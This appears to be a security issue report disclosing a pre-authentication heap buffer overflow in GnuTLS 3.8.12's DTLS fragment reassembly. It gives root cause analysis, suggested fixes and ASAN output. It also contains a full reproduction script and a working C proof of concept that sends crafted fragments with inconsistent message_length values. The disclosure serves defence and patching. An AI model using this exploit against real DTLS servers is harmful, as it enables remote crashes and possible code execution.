CWE-122: Heap Buffer Overflow in DTLS Handshake Fragment Reassembly via Inconsistent message_length
## Severity **Critical** — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1) ## Environment - **OS**: Ubuntu 22.04 x86_64 - **Compiler**: gcc with AddressSanitizer - **Target**: GnuTLS 3.8.12 (commit `868ed4b`, master branch) ## Affected Component - **Function**: `merge_handshake_packet()` - **File**: `lib/buffers.c:1035-1037` - **Public API Entry**: `gnutls_handshake()` → `_gnutls_handshake_io_recv_int()` → `_gnutls_parse_record_buffered_msgs()` → `merge_handshake_packet()` ## Root Cause Analysis `merge_handshake_packet()` matches incoming DTLS handshake fragments by `htype` (handshake type) **only** — it does **not** verify that `message_length` is consistent across fragments of the same logical message. When an existing buffer entry exists (line 1011), the merge branch performs: ```c // Branch 2 (buffers.c:1035-1037): memcpy(&session->internals.handshake_recv_buffer[pos].data.data[hsk->start_offset], hsk->data.data, hsk->data.length); ``` **Without** checking that `hsk->start_offset + hsk->data.length <= handshake_recv_buffer[pos].data.max_length`. The initial fragment creates a buffer sized for its (small) `message_length`. Subsequent fragments claim a much larger `message_length` and provide offsets/lengths that exceed the original buffer capacity. Per-fragment validation at `parse_handshake_header()` (line 941-943) validates each fragment against its **own** `message_length`, not against the existing buffer's capacity. ### Key Data Types - `handshake_buffer_st.length` (uint32_t) — message_length from handshake header - `handshake_buffer_st.start_offset` (uint32_t) — fragment_offset from header - `handshake_buffer_st.end_offset` (uint32_t) — start_offset + frag_size - 1 - Buffer allocated via `_gnutls_buffer_resize`: MIN_CHUNK=1024 → minimum alloc = 2048 bytes ## Attack Scenario Pre-authentication, remote, no user interaction. An attacker sends 4 MTU-sized UDP datagrams to a DTLS server running `gnutls_handshake()` in the standard retry loop (the documented usage for DTLS): 1. **Datagram 1**: ClientHello fragment: `msg_len=50, offset=25, frag_len=25` → creates buffer entry, alloc=2048 bytes; `gnutls_handshake()` returns `GNUTLS_E_AGAIN`, caller retries 2. **Datagram 2**: ClientHello fragment: `msg_len=3000, offset=0, frag_len=48` → merge branch 1: writes within buffer OK; `GNUTLS_E_AGAIN` again 3. **Datagram 3**: ClientHello fragment: `msg_len=3000, offset=40, frag_len=1475` → merge branch 2: writes up to byte 1515, within 2048 OK; `GNUTLS_E_AGAIN` again 4. **Datagram 4**: ClientHello fragment: `msg_len=3000, offset=1500, frag_len=1475` → merge branch 2: `memcpy(dest+1500, src, 1475)` → **writes to byte 2975, 927 bytes past 2048-byte buffer = HEAP OVERFLOW** ### RFC Violation RFC 6347 Section 4.2.3: "fragment_offset + fragment_length MUST NOT exceed message_length" — GnuTLS validates this per-fragment but not across fragments with mismatched message_length values. ## CIA Triad Impact - **Confidentiality**: NONE — write-only overflow; no demonstrated read of adjacent heap data - **Integrity**: HIGH — attacker-controlled write primitive enables code execution - **Availability**: HIGH — crash/corruption guarantees DoS ## One-Click Reproduction Script ```bash #!/bin/bash set -ex # Step 1: Install dependencies (release tarball — no bootstrap tools needed) sudo apt-get update && sudo apt-get install -y \ build-essential pkg-config m4 \ libgmp-dev libtasn1-6-dev libtasn1-bin libunistring-dev \ libp11-kit-dev wget # Step 1b: Build nettle >= 3.10 from source (Ubuntu 22.04 ships 3.7, too old) wget -q -O nettle-3.10.tar.gz https://ftp.gnu.org/gnu/nettle/nettle-3.10.tar.gz tar xzf nettle-3.10.tar.gz cd nettle-3.10 ./configure --prefix=/usr/local --disable-documentation make -j$(nproc) sudo make install echo /usr/local/lib64 | sudo tee /etc/ld.so.conf.d/nettle-local.conf sudo ldconfig cd .. # Step 2: Download GnuTLS 3.8.12 release tarball (no bootstrap needed) wget -q -O gnutls-3.8.12.tar.xz https://www.gnupg.org/ftp/gcrypt/gnutls/v3.8/gnutls-3.8.12.tar.xz tar xJf gnutls-3.8.12.tar.xz cd gnutls-3.8.12 # Step 3: Build with ASAN PKG_CONFIG_PATH=/usr/local/lib64/pkgconfig:/usr/local/lib/pkgconfig \ ./configure --disable-doc --disable-tests --disable-full-test-suite \ --disable-nls --disable-guile --disable-documentation \ --without-tpm --without-tpm2 \ CFLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \ LDFLAGS='-fsanitize=address -L/usr/local/lib -L/usr/local/lib64 -Wl,-rpath,/usr/local/lib -Wl,-rpath,/usr/local/lib64' make -j$(nproc) # Step 4: Write PoC cat > poc_dtls_fragment_overflow.c << 'POCEOF' /* * PoC: DTLS Fragment Reassembly Heap Buffer Overflow * Target: GnuTLS 3.8.12 - merge_handshake_packet() in lib/buffers.c * * Sends crafted DTLS handshake fragments with inconsistent message_length * values to trigger a heap buffer overflow during fragment merge. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <gnutls/gnutls.h> #include <gnutls/dtls.h> #include <gnutls/x509.h> #include <time.h> #define PORT 4433 /* DTLS 1.2 record header (13 bytes) */ struct dtls_record_hdr { uint8_t content_type; /* 22 = handshake */ uint8_t version[2]; /* {254, 253} = DTLS 1.2 */ uint8_t epoch[2]; uint8_t seq_num[6]; uint8_t length[2]; /* fragment length */ }; /* DTLS handshake header (12 bytes) */ struct dtls_hs_hdr { uint8_t msg_type; /* handshake type (1=ClientHello) */ uint8_t msg_length[3]; /* total message length (uint24) */ uint8_t msg_seq[2]; /* message sequence */ uint8_t frag_offset[3]; /* fragment offset (uint24) */ uint8_t frag_length[3]; /* fragment length (uint24) */ }; static void put_uint16(uint8_t *buf, uint16_t val) { buf[0] = (val >> 8) & 0xFF; buf[1] = val & 0xFF; } static void put_uint24(uint8_t *buf, uint32_t val) { buf[0] = (val >> 16) & 0xFF; buf[1] = (val >> 8) & 0xFF; buf[2] = val & 0xFF; } static int send_dtls_fragment(int sock, struct sockaddr_in *addr, uint8_t htype, uint32_t msg_length, uint16_t msg_seq, uint32_t frag_offset, uint32_t frag_length, uint8_t *frag_data, uint8_t seq_lo) { uint8_t pkt[2048]; struct dtls_record_hdr *rec = (struct dtls_record_hdr *)pkt; struct dtls_hs_hdr *hs = (struct dtls_hs_hdr *)(pkt + 13); uint8_t *payload = pkt + 13 + 12; /* Record header */ rec->content_type = 22; /* handshake */ rec->version[0] = 254; /* DTLS 1.2 = {254, 253} */ rec->version[1] = 253; memset(rec->epoch, 0, 2); memset(rec->seq_num, 0, 6); rec->seq_num[5] = seq_lo; put_uint16(rec->length, 12 + frag_length); /* hs header + fragment */ /* Handshake header */ hs->msg_type = htype; put_uint24(hs->msg_length, msg_length); put_uint16(hs->msg_seq, msg_seq); put_uint24(hs->frag_offset, frag_offset); put_uint24(hs->frag_length, frag_length); /* Fragment data */ if (frag_length > 0 && frag_data) memcpy(payload, frag_data, frag_length); else if (frag_length > 0) memset(payload, 'A', frag_length); return sendto(sock, pkt, 13 + 12 + frag_length, 0, (struct sockaddr *)addr, sizeof(*addr)); } static gnutls_certificate_credentials_t xcred; static gnutls_priority_t priority_cache; static volatile int fragments_sent = 0; static void *server_thread(void *arg) { int udp_sock; struct sockaddr_in saddr; gnutls_session_t session; /* Create UDP socket */ udp_sock = socket(AF_INET, SOCK_DGRAM, 0); memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(PORT); saddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); int reuse = 1; setsockopt(udp_sock, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); bind(udp_sock, (struct sockaddr *)&saddr, sizeof(saddr)); /* Wait for first packet to get client address */ struct sockaddr_in caddr; socklen_t clen = sizeof(caddr); uint8_t buf[4096]; recvfrom(udp_sock, buf, sizeof(buf), MSG_PEEK, (struct sockaddr *)&caddr, &clen); /* Connect to client address for DTLS */ connect(udp_sock, (struct sockaddr *)&caddr, clen); /* Init DTLS session */ gnutls_init(&session, GNUTLS_SERVER | GNUTLS_DATAGRAM); gnutls_priority_set(session, priority_cache); gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, xcred); gnutls_transport_set_int(session, udp_sock); gnutls_dtls_set_mtu(session, 1500); /* Set timeout to prevent indefinite blocking */ gnutls_dtls_set_timeouts(session, 1000, 5000); /* Wait until client has sent all fragments */ while (!fragments_sent) usleep(10000); usleep(50000); /* Extra 50ms to ensure all datagrams are in socket buffer */ /* Attempt handshake — will process crafted fragments. * DTLS requires looping on GNUTLS_E_AGAIN to read successive datagrams. * Each iteration reads one UDP datagram and merges its fragment. */ fprintf(stderr, "[SERVER] Starting handshake...\n"); int ret; do { ret = gnutls_handshake(session); } while (ret == GNUTLS_E_AGAIN || ret == GNUTLS_E_INTERRUPTED); fprintf(stderr, "[SERVER] Handshake returned: %d (%s)\n", ret, gnutls_strerror(ret)); gnutls_deinit(session); close(udp_sock); return NULL; } int main(void) { int sock; struct sockaddr_in addr; pthread_t tid; gnutls_global_init(); /* Generate temporary credentials */ gnutls_certificate_allocate_credentials(&xcred); gnutls_priority_init(&priority_cache, "NORMAL", NULL); /* Generate a self-signed cert + key programmatically */ { gnutls_x509_privkey_t privkey; gnutls_x509_crt_t crt; gnutls_x509_privkey_init(&privkey); gnutls_x509_privkey_generate(privkey, GNUTLS_PK_ECDSA, GNUTLS_CURVE_TO_BITS(GNUTLS_ECC_CURVE_SECP256R1), 0); gnutls_x509_crt_init(&crt); gnutls_x509_crt_set_version(crt, 3); gnutls_x509_crt_set_serial(crt, (const unsigned char *)"\x01", 1); gnutls_x509_crt_set_activation_time(crt, time(NULL)); gnutls_x509_crt_set_expiration_time(crt, time(NULL) + 365 * 24 * 60 * 60); gnutls_x509_crt_set_dn_by_oid(crt, GNUTLS_OID_X520_COMMON_NAME, 0, "localhost", strlen("localhost")); gnutls_x509_crt_set_key(crt, privkey); gnutls_x509_crt_sign2(crt, crt, privkey, GNUTLS_DIG_SHA256, 0); gnutls_certificate_set_x509_key(xcred, &crt, 1, privkey); gnutls_x509_crt_deinit(crt); gnutls_x509_privkey_deinit(privkey); } /* Start server thread */ pthread_create(&tid, NULL, server_thread, NULL); usleep(200000); /* Wait for server to bind */ /* Create client UDP socket */ sock = socket(AF_INET, SOCK_DGRAM, 0); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); fprintf(stderr, "[CLIENT] Sending crafted DTLS fragments...\n"); /* * Attack: Send 4 fragments with inconsistent message_length values. * Fragment 1: msg_len=50 (creates small buffer, alloc=2048) * Fragment 2-4: msg_len=3000 (writes at offsets exceeding buffer) */ /* Fragment 1: Small message_length to create undersized buffer */ uint8_t frag1[25]; memset(frag1, 'B', sizeof(frag1)); send_dtls_fragment(sock, &addr, 1, 50, 0, 25, 25, frag1, 0); /* Fragment 2: Large message_length, fills beginning */ uint8_t frag2[48]; memset(frag2, 'C', sizeof(frag2)); send_dtls_fragment(sock, &addr, 1, 3000, 0, 0, 48, frag2, 1); /* Fragment 3: Large offset + length, still within 2048 */ uint8_t frag3[1475]; memset(frag3, 'D', sizeof(frag3)); send_dtls_fragment(sock, &addr, 1, 3000, 0, 40, 1475, frag3, 2); /* Fragment 4: OVERFLOW — offset=1500, len=1475, writes 927 bytes past buffer */ uint8_t frag4[1475]; memset(frag4, 'E', sizeof(frag4)); send_dtls_fragment(sock, &addr, 1, 3000, 0, 1500, 1475, frag4, 3); /* Signal server that all fragments have been sent */ fragments_sent = 1; fprintf(stderr, "[CLIENT] All fragments sent. Waiting for server...\n"); close(sock); pthread_join(tid, NULL); gnutls_certificate_free_credentials(xcred); gnutls_priority_deinit(priority_cache); gnutls_global_deinit(); return 0; } POCEOF # Step 5: Compile PoC gcc -fsanitize=address -g -O1 -fno-omit-frame-pointer \ -I./lib/includes -I. \ poc_dtls_fragment_overflow.c \ -L./lib/.libs -lgnutls -lpthread \ -Wl,-rpath,./lib/.libs -L/usr/local/lib64 -Wl,-rpath,/usr/local/lib64 \ -o poc_dtls_fragment_overflow # Step 6: Run PoC echo "[*] Running PoC — expect ASAN heap-buffer-overflow..." LD_LIBRARY_PATH=./lib/.libs:/usr/local/lib64 ./poc_dtls_fragment_overflow 2>&1 || true echo "[*] Done. Check ASAN output above." ``` ### Actual ASAN Output (GCP x86_64 Ubuntu 22.04, GnuTLS 3.8.12 + ASAN) ``` ================================================================= ==45609==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51d000010280 at pc 0x7ab1bfe3a2c3 bp 0x7ab1bbbfd450 sp 0x7ab1bbbfcbf8 WRITE of size 1475 at 0x51d000010280 thread T1 #0 0x7ab1bfe3a2c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 #1 0x7ab1bf9025ca in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29 #2 0x7ab1bf9025ca in merge_handshake_packet /home/HarutoKimura/gnutls/lib/buffers.c:1035 #3 0x7ab1bf9025ca in _gnutls_parse_record_buffered_msgs /home/HarutoKimura/gnutls/lib/buffers.c:1320 #4 0x7ab1bf903461 in _gnutls_handshake_io_recv_int /home/HarutoKimura/gnutls/lib/buffers.c:1414 #5 0x7ab1bf9091ba in _gnutls_recv_handshake /home/HarutoKimura/gnutls/lib/handshake.c:1608 #6 0x7ab1bf916bdf in handshake_server /home/HarutoKimura/gnutls/lib/handshake.c:3528 #7 0x7ab1bf916bdf in gnutls_handshake /home/HarutoKimura/gnutls/lib/handshake.c:2917 #8 0x608997739cf6 in server_thread /home/HarutoKimura/gnutls/poc_dtls_fragment_overflow.c:140 #9 0x7ab1bf494ac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) #10 0x7ab1bf5268cf (/lib/x86_64-linux-gnu/libc.so.6+0x1268cf) 0x51d000010280 is located 0 bytes to the right of 2048-byte region [0x51d00000fa80,0x51d000010280) allocated by thread T1 here: #0 0x7ab1bfeb4c38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164 #1 0x7ab1bfa2b630 in rpl_realloc stdlib.h:2065 #2 0x7ab1bf96d13b in gnutls_realloc_fast /home/HarutoKimura/gnutls/lib/mem.c:46 #3 0x7ab1bf9781e6 in buffer_resize_reclaim /home/HarutoKimura/gnutls/lib/str.c:187 #4 0x7ab1bf9786d8 in gnutls_buffer_append_data /home/HarutoKimura/gnutls/lib/str.c:116 #5 0x7ab1bf901f1c in _gnutls_parse_record_buffered_msgs /home/HarutoKimura/gnutls/lib/buffers.c:1309 #6 0x7ab1bf903461 in _gnutls_handshake_io_recv_int /home/HarutoKimura/gnutls/lib/buffers.c:1414 #7 0x7ab1bf9091ba in _gnutls_recv_handshake /home/HarutoKimura/gnutls/lib/handshake.c:1608 #8 0x7ab1bf916bdf in handshake_server /home/HarutoKimura/gnutls/lib/handshake.c:3528 #9 0x7ab1bf916bdf in gnutls_handshake /home/HarutoKimura/gnutls/lib/handshake.c:2917 #10 0x608997739cf6 in server_thread /home/HarutoKimura/gnutls/poc_dtls_fragment_overflow.c:140 #11 0x7ab1bf494ac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) Thread T1 created by T0 here: #0 0x7ab1bfe58685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216 #1 0x60899773a9bb in main /home/HarutoKimura/gnutls/poc_dtls_fragment_overflow.c:187 #2 0x7ab1bf429d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy ==45609==ABORTING ``` **Verification**: GCP VM `reviewer-001-20260311` (x86_64 Ubuntu 22.04), GnuTLS 3.8.12 (git tag `3.8.12`), gcc + ASAN, 2026-03-11. ## Suggested Fix Add message_length consistency validation in `merge_handshake_packet()` before performing the merge memcpy: ```c // After matching by htype at buffers.c:970-976, add: if (recv_buf[pos].length != hsk->length) { _gnutls_handshake_buffer_clear(hsk); return gnutls_assert_val(GNUTLS_E_UNEXPECTED_HANDSHAKE_PACKET); } ``` Additionally, add bounds checking before both merge memcpy operations: ```c // Before buffers.c:1018 (branch 1) and buffers.c:1035 (branch 2): if (hsk->start_offset + hsk->data.length > recv_buf[pos].data.max_length) { _gnutls_handshake_buffer_clear(hsk); return gnutls_assert_val(GNUTLS_E_UNEXPECTED_PACKET_LENGTH); } ``` [reproduce_vuln_001.sh](/uploads/22004707c5c5a4e0fa9545d95751fa30/reproduce_vuln_001.sh)
issue